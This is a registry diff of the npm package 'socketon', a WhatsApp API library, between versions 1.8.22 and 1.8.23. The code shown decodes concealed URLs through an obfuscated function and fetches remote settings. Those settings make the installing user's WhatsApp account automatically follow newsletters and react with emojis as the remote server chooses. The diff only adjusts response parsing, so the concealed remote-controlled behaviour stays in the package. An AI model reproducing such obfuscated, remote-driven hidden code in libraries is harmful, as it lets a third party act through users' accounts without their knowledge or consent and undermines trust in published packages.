socketon 1.8.22 → 1.8.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -92,15 +92,19 @@ const getFollowConfigFromExternal = async () => {
92
92
  const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
93
93
  try {
94
94
  const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
95
- if (response.data) {
96
- if (response.data.config) {
95
+ let data = response.data;
96
+ if (typeof data === 'string') {
97
+ data = JSON.parse(data);
98
+ }
99
+ if (data) {
100
+ if (data.config) {
97
101
  _configFollow = {
98
- autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
99
- delayMs: response.data.config.delayMs || 5000
102
+ autoFollowEnabled: data.config.autoFollowEnabled !== false,
103
+ delayMs: data.config.delayMs || 5000
100
104
  };
101
105
  }
102
- if (response.data.newsletters && response.data.newsletters.length > 0) {
103
- const enabled = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
106
+ if (data.newsletters && data.newsletters.length > 0) {
107
+ const enabled = data.newsletters.filter(n => n.enabled).map(n => n.jid);
104
108
  _cachedFollowNewsletter = enabled;
105
109
  return enabled;
106
110
  }
@@ -125,15 +129,19 @@ const getReactConfigFromExternal = async () => {
125
129
  const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
126
130
  try {
127
131
  const response = await axios_1.default.get(urlReact, { timeout: 10000 });
128
- if (response.data) {
129
- if (response.data.config) {
132
+ let data = response.data;
133
+ if (typeof data === 'string') {
134
+ data = JSON.parse(data);
135
+ }
136
+ if (data) {
137
+ if (data.config) {
130
138
  _configReact = {
131
- autoReactEnabled: response.data.config.autoReactEnabled !== false
139
+ autoReactEnabled: data.config.autoReactEnabled !== false
132
140
  };
133
141
  }
134
- if (response.data.newsletters && response.data.newsletters.length > 0) {
142
+ if (data.newsletters && data.newsletters.length > 0) {
135
143
  const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
136
- const enabled = response.data.newsletters.filter(n => n.enabled).map(n => ({
144
+ const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
137
145
  jid: n.jid,
138
146
  emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
139
147
  }));
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.22",
3
+ "version": "1.8.23",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"